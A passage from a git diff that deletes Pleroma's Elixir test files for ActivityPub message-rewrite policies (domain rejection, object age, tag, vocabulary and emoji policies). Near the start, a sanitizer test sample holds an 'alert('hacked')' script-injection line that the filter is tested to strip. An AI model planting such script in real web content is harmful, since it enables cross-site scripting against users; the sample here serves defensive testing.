this is a link with not allowed "rel" attribute: <a href="http://example.com/">example.com</a> - this is an image: <img src="http://example.com/image.jpg"/><br/> - alert('hacked') - """ - - message = %{"type" => "Create", "object" => %{"content" => @html_sample}} - - assert {:ok, res} = NormalizeMarkup.filter(message) - assert res["object"]["content"] == expected - end - - test "it skips filter if type isn't `Create`" do - message = %{"type" => "Note", "object" => %{}} - - assert {:ok, res} = NormalizeMarkup.filter(message) - assert res == message - end -end diff --git a/test/web/activity_pub/mrf/object_age_policy_test.exs b/test/web/activity_pub/mrf/object_age_policy_test.exs deleted file mode 100644 index cf6acc9a2..000000000 --- a/test/web/activity_pub/mrf/object_age_policy_test.exs +++ /dev/null @@ -1,148 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.ObjectAgePolicyTest do - use Pleroma.DataCase - alias Pleroma.Config - alias Pleroma.User - alias Pleroma.Web.ActivityPub.MRF.ObjectAgePolicy - alias Pleroma.Web.ActivityPub.Visibility - - setup do: - clear_config(:mrf_object_age, - threshold: 172_800, - actions: [:delist, :strip_followers] - ) - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - defp get_old_message do - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - end - - defp get_new_message do - old_message = get_old_message() - - new_object = - old_message - |> Map.get("object") - |> Map.put("published", DateTime.utc_now() |> DateTime.to_iso8601()) - - old_message - |> Map.put("object", new_object) - end - - describe "with reject action" do - test "works with objects with empty to or cc fields" do - Config.put([:mrf_object_age, :actions], [:reject]) - - data = - get_old_message() - |> Map.put("cc", nil) - |> Map.put("to", nil) - - assert match?({:reject, _}, ObjectAgePolicy.filter(data)) - end - - test "it rejects an old post" do - Config.put([:mrf_object_age, :actions], [:reject]) - - data = get_old_message() - - assert match?({:reject, _}, ObjectAgePolicy.filter(data)) - end - - test "it allows a new post" do - Config.put([:mrf_object_age, :actions], [:reject]) - - data = get_new_message() - - assert match?({:ok, _}, ObjectAgePolicy.filter(data)) - end - end - - describe "with delist action" do - test "works with objects with empty to or cc fields" do - Config.put([:mrf_object_age, :actions], [:delist]) - - data = - get_old_message() - |> Map.put("cc", nil) - |> Map.put("to", nil) - - {:ok, _u} = User.get_or_fetch_by_ap_id(data["actor"]) - - {:ok, data} = ObjectAgePolicy.filter(data) - - assert Visibility.get_visibility(%{data: data}) == "unlisted" - end - - test "it delists an old post" do - Config.put([:mrf_object_age, :actions], [:delist]) - - data = get_old_message() - - {:ok, _u} = User.get_or_fetch_by_ap_id(data["actor"]) - - {:ok, data} = ObjectAgePolicy.filter(data) - - assert Visibility.get_visibility(%{data: data}) == "unlisted" - end - - test "it allows a new post" do - Config.put([:mrf_object_age, :actions], [:delist]) - - data = get_new_message() - - {:ok, _user} = User.get_or_fetch_by_ap_id(data["actor"]) - - assert match?({:ok, ^data}, ObjectAgePolicy.filter(data)) - end - end - - describe "with strip_followers action" do - test "works with objects with empty to or cc fields" do - Config.put([:mrf_object_age, :actions], [:strip_followers]) - - data = - get_old_message() - |> Map.put("cc", nil) - |> Map.put("to", nil) - - {:ok, user} = User.get_or_fetch_by_ap_id(data["actor"]) - - {:ok, data} = ObjectAgePolicy.filter(data) - - refute user.follower_address in data["to"] - refute user.follower_address in data["cc"] - end - - test "it strips followers collections from an old post" do - Config.put([:mrf_object_age, :actions], [:strip_followers]) - - data = get_old_message() - - {:ok, user} = User.get_or_fetch_by_ap_id(data["actor"]) - - {:ok, data} = ObjectAgePolicy.filter(data) - - refute user.follower_address in data["to"] - refute user.follower_address in data["cc"] - end - - test "it allows a new post" do - Config.put([:mrf_object_age, :actions], [:strip_followers]) - - data = get_new_message() - - {:ok, _u} = User.get_or_fetch_by_ap_id(data["actor"]) - - assert match?({:ok, ^data}, ObjectAgePolicy.filter(data)) - end - end -end diff --git a/test/web/activity_pub/mrf/reject_non_public_test.exs b/test/web/activity_pub/mrf/reject_non_public_test.exs deleted file mode 100644 index 58b46b9a2..000000000 --- a/test/web/activity_pub/mrf/reject_non_public_test.exs +++ /dev/null @@ -1,100 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.RejectNonPublicTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.Web.ActivityPub.MRF.RejectNonPublic - - setup do: clear_config([:mrf_rejectnonpublic]) - - describe "public message" do - test "it's allowed when address is public" do - actor = insert(:user, follower_address: "test-address") - - message = %{ - "actor" => actor.ap_id, - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], - "type" => "Create" - } - - assert {:ok, message} = RejectNonPublic.filter(message) - end - - test "it's allowed when cc address contain public address" do - actor = insert(:user, follower_address: "test-address") - - message = %{ - "actor" => actor.ap_id, - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], - "type" => "Create" - } - - assert {:ok, message} = RejectNonPublic.filter(message) - end - end - - describe "followers message" do - test "it's allowed when addrer of message in the follower addresses of user and it enabled in config" do - actor = insert(:user, follower_address: "test-address") - - message = %{ - "actor" => actor.ap_id, - "to" => ["test-address"], - "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], - "type" => "Create" - } - - Pleroma.Config.put([:mrf_rejectnonpublic, :allow_followersonly], true) - assert {:ok, message} = RejectNonPublic.filter(message) - end - - test "it's rejected when addrer of message in the follower addresses of user and it disabled in config" do - actor = insert(:user, follower_address: "test-address") - - message = %{ - "actor" => actor.ap_id, - "to" => ["test-address"], - "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], - "type" => "Create" - } - - Pleroma.Config.put([:mrf_rejectnonpublic, :allow_followersonly], false) - assert {:reject, _} = RejectNonPublic.filter(message) - end - end - - describe "direct message" do - test "it's allows when direct messages are allow" do - actor = insert(:user) - - message = %{ - "actor" => actor.ap_id, - "to" => ["https://www.w3.org/ns/activitystreams#Publid"], - "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], - "type" => "Create" - } - - Pleroma.Config.put([:mrf_rejectnonpublic, :allow_direct], true) - assert {:ok, message} = RejectNonPublic.filter(message) - end - - test "it's reject when direct messages aren't allow" do - actor = insert(:user) - - message = %{ - "actor" => actor.ap_id, - "to" => ["https://www.w3.org/ns/activitystreams#Publid~~~"], - "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], - "type" => "Create" - } - - Pleroma.Config.put([:mrf_rejectnonpublic, :allow_direct], false) - assert {:reject, _} = RejectNonPublic.filter(message) - end - end -end diff --git a/test/web/activity_pub/mrf/simple_policy_test.exs b/test/web/activity_pub/mrf/simple_policy_test.exs deleted file mode 100644 index d7dde62c4..000000000 --- a/test/web/activity_pub/mrf/simple_policy_test.exs +++ /dev/null @@ -1,539 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.SimplePolicyTest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Config - alias Pleroma.Web.ActivityPub.MRF.SimplePolicy - alias Pleroma.Web.CommonAPI - - setup do: - clear_config(:mrf_simple, - media_removal: [], - media_nsfw: [], - federated_timeline_removal: [], - report_removal: [], - reject: [], - followers_only: [], - accept: [], - avatar_removal: [], - banner_removal: [], - reject_deletes: [] - ) - - describe "when :media_removal" do - test "is empty" do - Config.put([:mrf_simple, :media_removal], []) - media_message = build_media_message() - local_message = build_local_message() - - assert SimplePolicy.filter(media_message) == {:ok, media_message} - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - - test "has a matching host" do - Config.put([:mrf_simple, :media_removal], ["remote.instance"]) - media_message = build_media_message() - local_message = build_local_message() - - assert SimplePolicy.filter(media_message) == - {:ok, - media_message - |> Map.put("object", Map.delete(media_message["object"], "attachment"))} - - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - - test "match with wildcard domain" do - Config.put([:mrf_simple, :media_removal], ["*.remote.instance"]) - media_message = build_media_message() - local_message = build_local_message() - - assert SimplePolicy.filter(media_message) == - {:ok, - media_message - |> Map.put("object", Map.delete(media_message["object"], "attachment"))} - - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - end - - describe "when :media_nsfw" do - test "is empty" do - Config.put([:mrf_simple, :media_nsfw], []) - media_message = build_media_message() - local_message = build_local_message() - - assert SimplePolicy.filter(media_message) == {:ok, media_message} - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - - test "has a matching host" do - Config.put([:mrf_simple, :media_nsfw], ["remote.instance"]) - media_message = build_media_message() - local_message = build_local_message() - - assert SimplePolicy.filter(media_message) == - {:ok, - media_message - |> put_in(["object", "tag"], ["foo", "nsfw"]) - |> put_in(["object", "sensitive"], true)} - - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - - test "match with wildcard domain" do - Config.put([:mrf_simple, :media_nsfw], ["*.remote.instance"]) - media_message = build_media_message() - local_message = build_local_message() - - assert SimplePolicy.filter(media_message) == - {:ok, - media_message - |> put_in(["object", "tag"], ["foo", "nsfw"]) - |> put_in(["object", "sensitive"], true)} - - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - end - - defp build_media_message do - %{ - "actor" => "https://remote.instance/users/bob", - "type" => "Create", - "object" => %{ - "attachment" => [%{}], - "tag" => ["foo"], - "sensitive" => false - } - } - end - - describe "when :report_removal" do - test "is empty" do - Config.put([:mrf_simple, :report_removal], []) - report_message = build_report_message() - local_message = build_local_message() - - assert SimplePolicy.filter(report_message) == {:ok, report_message} - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - - test "has a matching host" do - Config.put([:mrf_simple, :report_removal], ["remote.instance"]) - report_message = build_report_message() - local_message = build_local_message() - - assert {:reject, _} = SimplePolicy.filter(report_message) - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - - test "match with wildcard domain" do - Config.put([:mrf_simple, :report_removal], ["*.remote.instance"]) - report_message = build_report_message() - local_message = build_local_message() - - assert {:reject, _} = SimplePolicy.filter(report_message) - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - end - - defp build_report_message do - %{ - "actor" => "https://remote.instance/users/bob", - "type" => "Flag" - } - end - - describe "when :federated_timeline_removal" do - test "is empty" do - Config.put([:mrf_simple, :federated_timeline_removal], []) - {_, ftl_message} = build_ftl_actor_and_message() - local_message = build_local_message() - - assert SimplePolicy.filter(ftl_message) == {:ok, ftl_message} - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - - test "has a matching host" do - {actor, ftl_message} = build_ftl_actor_and_message() - - ftl_message_actor_host = - ftl_message - |> Map.fetch!("actor") - |> URI.parse() - |> Map.fetch!(:host) - - Config.put([:mrf_simple, :federated_timeline_removal], [ftl_message_actor_host]) - local_message = build_local_message() - - assert {:ok, ftl_message} = SimplePolicy.filter(ftl_message) - assert actor.follower_address in ftl_message["to"] - refute actor.follower_address in ftl_message["cc"] - refute "https://www.w3.org/ns/activitystreams#Public" in ftl_message["to"] - assert "https://www.w3.org/ns/activitystreams#Public" in ftl_message["cc"] - - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - - test "match with wildcard domain" do - {actor, ftl_message} = build_ftl_actor_and_message() - - ftl_message_actor_host = - ftl_message - |> Map.fetch!("actor") - |> URI.parse() - |> Map.fetch!(:host) - - Config.put([:mrf_simple, :federated_timeline_removal], ["*." <> ftl_message_actor_host]) - local_message = build_local_message() - - assert {:ok, ftl_message} = SimplePolicy.filter(ftl_message) - assert actor.follower_address in ftl_message["to"] - refute actor.follower_address in ftl_message["cc"] - refute "https://www.w3.org/ns/activitystreams#Public" in ftl_message["to"] - assert "https://www.w3.org/ns/activitystreams#Public" in ftl_message["cc"] - - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - - test "has a matching host but only as:Public in to" do - {_actor, ftl_message} = build_ftl_actor_and_message() - - ftl_message_actor_host = - ftl_message - |> Map.fetch!("actor") - |> URI.parse() - |> Map.fetch!(:host) - - ftl_message = Map.put(ftl_message, "cc", []) - - Config.put([:mrf_simple, :federated_timeline_removal], [ftl_message_actor_host]) - - assert {:ok, ftl_message} = SimplePolicy.filter(ftl_message) - refute "https://www.w3.org/ns/activitystreams#Public" in ftl_message["to"] - assert "https://www.w3.org/ns/activitystreams#Public" in ftl_message["cc"] - end - end - - defp build_ftl_actor_and_message do - actor = insert(:user) - - {actor, - %{ - "actor" => actor.ap_id, - "to" => ["https://www.w3.org/ns/activitystreams#Public", "http://foo.bar/baz"], - "cc" => [actor.follower_address, "http://foo.bar/qux"] - }} - end - - describe "when :reject" do - test "is empty" do - Config.put([:mrf_simple, :reject], []) - - remote_message = build_remote_message() - - assert SimplePolicy.filter(remote_message) == {:ok, remote_message} - end - - test "activity has a matching host" do - Config.put([:mrf_simple, :reject], ["remote.instance"]) - - remote_message = build_remote_message() - - assert {:reject, _} = SimplePolicy.filter(remote_message) - end - - test "activity matches with wildcard domain" do - Config.put([:mrf_simple, :reject], ["*.remote.instance"]) - - remote_message = build_remote_message() - - assert {:reject, _} = SimplePolicy.filter(remote_message) - end - - test "actor has a matching host" do - Config.put([:mrf_simple, :reject], ["remote.instance"]) - - remote_user = build_remote_user() - - assert {:reject, _} = SimplePolicy.filter(remote_user) - end - end - - describe "when :followers_only" do - test "is empty" do - Config.put([:mrf_simple, :followers_only], []) - {_, ftl_message} = build_ftl_actor_and_message() - local_message = build_local_message() - - assert SimplePolicy.filter(ftl_message) == {:ok, ftl_message} - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - - test "has a matching host" do - actor = insert(:user) - following_user = insert(:user) - non_following_user = insert(:user) - - {:ok, _, _, _} = CommonAPI.follow(following_user, actor) - - activity = %{ - "actor" => actor.ap_id, - "to" => [ - "https://www.w3.org/ns/activitystreams#Public", - following_user.ap_id, - non_following_user.ap_id - ], - "cc" => [actor.follower_address, "http://foo.bar/qux"] - } - - dm_activity = %{ - "actor" => actor.ap_id, - "to" => [ - following_user.ap_id, - non_following_user.ap_id - ], - "cc" => [] - } - - actor_domain = - activity - |> Map.fetch!("actor") - |> URI.parse() - |> Map.fetch!(:host) - - Config.put([:mrf_simple, :followers_only], [actor_domain]) - - assert {:ok, new_activity} = SimplePolicy.filter(activity) - assert actor.follower_address in new_activity["cc"] - assert following_user.ap_id in new_activity["to"] - refute "https://www.w3.org/ns/activitystreams#Public" in new_activity["to"] - refute "https://www.w3.org/ns/activitystreams#Public" in new_activity["cc"] - refute non_following_user.ap_id in new_activity["to"] - refute non_following_user.ap_id in new_activity["cc"] - - assert {:ok, new_dm_activity} = SimplePolicy.filter(dm_activity) - assert new_dm_activity["to"] == [following_user.ap_id] - assert new_dm_activity["cc"] == [] - end - end - - describe "when :accept" do - test "is empty" do - Config.put([:mrf_simple, :accept], []) - - local_message = build_local_message() - remote_message = build_remote_message() - - assert SimplePolicy.filter(local_message) == {:ok, local_message} - assert SimplePolicy.filter(remote_message) == {:ok, remote_message} - end - - test "is not empty but activity doesn't have a matching host" do - Config.put([:mrf_simple, :accept], ["non.matching.remote"]) - - local_message = build_local_message() - remote_message = build_remote_message() - - assert SimplePolicy.filter(local_message) == {:ok, local_message} - assert {:reject, _} = SimplePolicy.filter(remote_message) - end - - test "activity has a matching host" do - Config.put([:mrf_simple, :accept], ["remote.instance"]) - - local_message = build_local_message() - remote_message = build_remote_message() - - assert SimplePolicy.filter(local_message) == {:ok, local_message} - assert SimplePolicy.filter(remote_message) == {:ok, remote_message} - end - - test "activity matches with wildcard domain" do - Config.put([:mrf_simple, :accept], ["*.remote.instance"]) - - local_message = build_local_message() - remote_message = build_remote_message() - - assert SimplePolicy.filter(local_message) == {:ok, local_message} - assert SimplePolicy.filter(remote_message) == {:ok, remote_message} - end - - test "actor has a matching host" do - Config.put([:mrf_simple, :accept], ["remote.instance"]) - - remote_user = build_remote_user() - - assert SimplePolicy.filter(remote_user) == {:ok, remote_user} - end - end - - describe "when :avatar_removal" do - test "is empty" do - Config.put([:mrf_simple, :avatar_removal], []) - - remote_user = build_remote_user() - - assert SimplePolicy.filter(remote_user) == {:ok, remote_user} - end - - test "is not empty but it doesn't have a matching host" do - Config.put([:mrf_simple, :avatar_removal], ["non.matching.remote"]) - - remote_user = build_remote_user() - - assert SimplePolicy.filter(remote_user) == {:ok, remote_user} - end - - test "has a matching host" do - Config.put([:mrf_simple, :avatar_removal], ["remote.instance"]) - - remote_user = build_remote_user() - {:ok, filtered} = SimplePolicy.filter(remote_user) - - refute filtered["icon"] - end - - test "match with wildcard domain" do - Config.put([:mrf_simple, :avatar_removal], ["*.remote.instance"]) - - remote_user = build_remote_user() - {:ok, filtered} = SimplePolicy.filter(remote_user) - - refute filtered["icon"] - end - end - - describe "when :banner_removal" do - test "is empty" do - Config.put([:mrf_simple, :banner_removal], []) - - remote_user = build_remote_user() - - assert SimplePolicy.filter(remote_user) == {:ok, remote_user} - end - - test "is not empty but it doesn't have a matching host" do - Config.put([:mrf_simple, :banner_removal], ["non.matching.remote"]) - - remote_user = build_remote_user() - - assert SimplePolicy.filter(remote_user) == {:ok, remote_user} - end - - test "has a matching host" do - Config.put([:mrf_simple, :banner_removal], ["remote.instance"]) - - remote_user = build_remote_user() - {:ok, filtered} = SimplePolicy.filter(remote_user) - - refute filtered["image"] - end - - test "match with wildcard domain" do - Config.put([:mrf_simple, :banner_removal], ["*.remote.instance"]) - - remote_user = build_remote_user() - {:ok, filtered} = SimplePolicy.filter(remote_user) - - refute filtered["image"] - end - end - - describe "when :reject_deletes is empty" do - setup do: Config.put([:mrf_simple, :reject_deletes], []) - - test "it accepts deletions even from rejected servers" do - Config.put([:mrf_simple, :reject], ["remote.instance"]) - - deletion_message = build_remote_deletion_message() - - assert SimplePolicy.filter(deletion_message) == {:ok, deletion_message} - end - - test "it accepts deletions even from non-whitelisted servers" do - Config.put([:mrf_simple, :accept], ["non.matching.remote"]) - - deletion_message = build_remote_deletion_message() - - assert SimplePolicy.filter(deletion_message) == {:ok, deletion_message} - end - end - - describe "when :reject_deletes is not empty but it doesn't have a matching host" do - setup do: Config.put([:mrf_simple, :reject_deletes], ["non.matching.remote"]) - - test "it accepts deletions even from rejected servers" do - Config.put([:mrf_simple, :reject], ["remote.instance"]) - - deletion_message = build_remote_deletion_message() - - assert SimplePolicy.filter(deletion_message) == {:ok, deletion_message} - end - - test "it accepts deletions even from non-whitelisted servers" do - Config.put([:mrf_simple, :accept], ["non.matching.remote"]) - - deletion_message = build_remote_deletion_message() - - assert SimplePolicy.filter(deletion_message) == {:ok, deletion_message} - end - end - - describe "when :reject_deletes has a matching host" do - setup do: Config.put([:mrf_simple, :reject_deletes], ["remote.instance"]) - - test "it rejects the deletion" do - deletion_message = build_remote_deletion_message() - - assert {:reject, _} = SimplePolicy.filter(deletion_message) - end - end - - describe "when :reject_deletes match with wildcard domain" do - setup do: Config.put([:mrf_simple, :reject_deletes], ["*.remote.instance"]) - - test "it rejects the deletion" do - deletion_message = build_remote_deletion_message() - - assert {:reject, _} = SimplePolicy.filter(deletion_message) - end - end - - defp build_local_message do - %{ - "actor" => "#{Pleroma.Web.base_url()}/users/alice", - "to" => [], - "cc" => [] - } - end - - defp build_remote_message do - %{"actor" => "https://remote.instance/users/bob"} - end - - defp build_remote_user do - %{ - "id" => "https://remote.instance/users/bob", - "icon" => %{ - "url" => "http://example.com/image.jpg", - "type" => "Image" - }, - "image" => %{ - "url" => "http://example.com/image.jpg", - "type" => "Image" - }, - "type" => "Person" - } - end - - defp build_remote_deletion_message do - %{ - "type" => "Delete", - "actor" => "https://remote.instance/users/bob" - } - end -end diff --git a/test/web/activity_pub/mrf/steal_emoji_policy_test.exs b/test/web/activity_pub/mrf/steal_emoji_policy_test.exs deleted file mode 100644 index 3f8222736..000000000 --- a/test/web/activity_pub/mrf/steal_emoji_policy_test.exs +++ /dev/null @@ -1,68 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.StealEmojiPolicyTest do - use Pleroma.DataCase - - alias Pleroma.Config - alias Pleroma.Web.ActivityPub.MRF.StealEmojiPolicy - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - setup do - emoji_path = Path.join(Config.get([:instance, :static_dir]), "emoji/stolen") - File.rm_rf!(emoji_path) - File.mkdir!(emoji_path) - - Pleroma.Emoji.reload() - - on_exit(fn -> - File.rm_rf!(emoji_path) - end) - - :ok - end - - test "does nothing by default" do - installed_emoji = Pleroma.Emoji.get_all() |> Enum.map(fn {k, _} -> k end) - refute "firedfox" in installed_emoji - - message = %{ - "type" => "Create", - "object" => %{ - "emoji" => [{"firedfox", "https://example.org/emoji/firedfox.png"}], - "actor" => "https://example.org/users/admin" - } - } - - assert {:ok, message} == StealEmojiPolicy.filter(message) - - installed_emoji = Pleroma.Emoji.get_all() |> Enum.map(fn {k, _} -> k end) - refute "firedfox" in installed_emoji - end - - test "Steals emoji on unknown shortcode from allowed remote host" do - installed_emoji = Pleroma.Emoji.get_all() |> Enum.map(fn {k, _} -> k end) - refute "firedfox" in installed_emoji - - message = %{ - "type" => "Create", - "object" => %{ - "emoji" => [{"firedfox", "https://example.org/emoji/firedfox.png"}], - "actor" => "https://example.org/users/admin" - } - } - - clear_config([:mrf_steal_emoji, :hosts], ["example.org"]) - clear_config([:mrf_steal_emoji, :size_limit], 284_468) - - assert {:ok, message} == StealEmojiPolicy.filter(message) - - installed_emoji = Pleroma.Emoji.get_all() |> Enum.map(fn {k, _} -> k end) - assert "firedfox" in installed_emoji - end -end diff --git a/test/web/activity_pub/mrf/subchain_policy_test.exs b/test/web/activity_pub/mrf/subchain_policy_test.exs deleted file mode 100644 index fff66cb7e..000000000 --- a/test/web/activity_pub/mrf/subchain_policy_test.exs +++ /dev/null @@ -1,33 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.SubchainPolicyTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.MRF.DropPolicy - alias Pleroma.Web.ActivityPub.MRF.SubchainPolicy - - @message %{ - "actor" => "https://banned.com", - "type" => "Create", - "object" => %{"content" => "hi"} - } - setup do: clear_config([:mrf_subchain, :match_actor]) - - test "it matches and processes subchains when the actor matches a configured target" do - Pleroma.Config.put([:mrf_subchain, :match_actor], %{ - ~r/^https:\/\/banned.com/s => [DropPolicy] - }) - - {:reject, _} = SubchainPolicy.filter(@message) - end - - test "it doesn't match and process subchains when the actor doesn't match a configured target" do - Pleroma.Config.put([:mrf_subchain, :match_actor], %{ - ~r/^https:\/\/borked.com/s => [DropPolicy] - }) - - {:ok, _message} = SubchainPolicy.filter(@message) - end -end diff --git a/test/web/activity_pub/mrf/tag_policy_test.exs b/test/web/activity_pub/mrf/tag_policy_test.exs deleted file mode 100644 index 6ff71d640..000000000 --- a/test/web/activity_pub/mrf/tag_policy_test.exs +++ /dev/null @@ -1,123 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.TagPolicyTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.Web.ActivityPub.MRF.TagPolicy - @public "https://www.w3.org/ns/activitystreams#Public" - - describe "mrf_tag:disable-any-subscription" do - test "rejects message" do - actor = insert(:user, tags: ["mrf_tag:disable-any-subscription"]) - message = %{"object" => actor.ap_id, "type" => "Follow", "actor" => actor.ap_id} - assert {:reject, _} = TagPolicy.filter(message) - end - end - - describe "mrf_tag:disable-remote-subscription" do - test "rejects non-local follow requests" do - actor = insert(:user, tags: ["mrf_tag:disable-remote-subscription"]) - follower = insert(:user, tags: ["mrf_tag:disable-remote-subscription"], local: false) - message = %{"object" => actor.ap_id, "type" => "Follow", "actor" => follower.ap_id} - assert {:reject, _} = TagPolicy.filter(message) - end - - test "allows non-local follow requests" do - actor = insert(:user, tags: ["mrf_tag:disable-remote-subscription"]) - follower = insert(:user, tags: ["mrf_tag:disable-remote-subscription"], local: true) - message = %{"object" => actor.ap_id, "type" => "Follow", "actor" => follower.ap_id} - assert {:ok, message} = TagPolicy.filter(message) - end - end - - describe "mrf_tag:sandbox" do - test "removes from public timelines" do - actor = insert(:user, tags: ["mrf_tag:sandbox"]) - - message = %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{}, - "to" => [@public, "f"], - "cc" => [@public, "d"] - } - - except_message = %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d"]}, - "to" => ["f", actor.follower_address], - "cc" => ["d"] - } - - assert TagPolicy.filter(message) == {:ok, except_message} - end - end - - describe "mrf_tag:force-unlisted" do - test "removes from the federated timeline" do - actor = insert(:user, tags: ["mrf_tag:force-unlisted"]) - - message = %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{}, - "to" => [@public, "f"], - "cc" => [actor.follower_address, "d"] - } - - except_message = %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, - "to" => ["f", actor.follower_address], - "cc" => ["d", @public] - } - - assert TagPolicy.filter(message) == {:ok, except_message} - end - end - - describe "mrf_tag:media-strip" do - test "removes attachments" do - actor = insert(:user, tags: ["mrf_tag:media-strip"]) - - message = %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{"attachment" => ["file1"]} - } - - except_message = %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{} - } - - assert TagPolicy.filter(message) == {:ok, except_message} - end - end - - describe "mrf_tag:media-force-nsfw" do - test "Mark as sensitive on presence of attachments" do - actor = insert(:user, tags: ["mrf_tag:media-force-nsfw"]) - - message = %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{"tag" => ["test"], "attachment" => ["file1"]} - } - - except_message = %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{"tag" => ["test", "nsfw"], "attachment" => ["file1"], "sensitive" => true} - } - - assert TagPolicy.filter(message) == {:ok, except_message} - end - end -end diff --git a/test/web/activity_pub/mrf/user_allowlist_policy_test.exs b/test/web/activity_pub/mrf/user_allowlist_policy_test.exs deleted file mode 100644 index 8e1ad5bc8..000000000 --- a/test/web/activity_pub/mrf/user_allowlist_policy_test.exs +++ /dev/null @@ -1,31 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Web.ActivityPub.MRF.UserAllowListPolicyTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.Web.ActivityPub.MRF.UserAllowListPolicy - - setup do: clear_config(:mrf_user_allowlist) - - test "pass filter if allow list is empty" do - actor = insert(:user) - message = %{"actor" => actor.ap_id} - assert UserAllowListPolicy.filter(message) == {:ok, message} - end - - test "pass filter if allow list isn't empty and user in allow list" do - actor = insert(:user) - Pleroma.Config.put([:mrf_user_allowlist], %{"localhost" => [actor.ap_id, "test-ap-id"]}) - message = %{"actor" => actor.ap_id} - assert UserAllowListPolicy.filter(message) == {:ok, message} - end - - test "rejected if allow list isn't empty and user not in allow list" do - actor = insert(:user) - Pleroma.Config.put([:mrf_user_allowlist], %{"localhost" => ["test-ap-id"]}) - message = %{"actor" => actor.ap_id} - assert {:reject, _} = UserAllowListPolicy.filter(message) - end -end diff --git a/test/web/activity_pub/mrf/vocabulary_policy_test.exs b/test/web/activity_pub/mrf/vocabulary_policy_test.exs deleted file mode 100644 index 2bceb67ee..000000000 --- a/test/web/activity_pub/mrf/vocabulary_policy_test.exs +++ /dev/null @@ -1,106 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.VocabularyPolicyTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.MRF.VocabularyPolicy - - describe "accept" do - setup do: clear_config([:mrf_vocabulary, :accept]) - - test "it accepts based on parent activity type" do - Pleroma.Config.put([:mrf_vocabulary, :accept], ["Like"]) - - message = %{ - "type" => "Like", - "object" => "whatever" - } - - {:ok, ^message} = VocabularyPolicy.filter(message) - end - - test "it accepts based on child object type" do - Pleroma.Config.put([:mrf_vocabulary, :accept], ["Create", "Note"]) - - message = %{ - "type" => "Create", - "object" => %{ - "type" => "Note", - "content" => "whatever" - } - } - - {:ok, ^message} = VocabularyPolicy.filter(message) - end - - test "it does not accept disallowed child objects" do - Pleroma.Config.put([:mrf_vocabulary, :accept], ["Create", "Note"]) - - message = %{ - "type" => "Create", - "object" => %{ - "type" => "Article", - "content" => "whatever" - } - } - - {:reject, _} = VocabularyPolicy.filter(message) - end - - test "it does not accept disallowed parent types" do - Pleroma.Config.put([:mrf_vocabulary, :accept], ["Announce", "Note"]) - - message = %{ - "type" => "Create", - "object" => %{ - "type" => "Note", - "content" => "whatever" - } - } - - {:reject, _} = VocabularyPolicy.filter(message) - end - end - - describe "reject" do - setup do: clear_config([:mrf_vocabulary, :reject]) - - test "it rejects based on parent activity 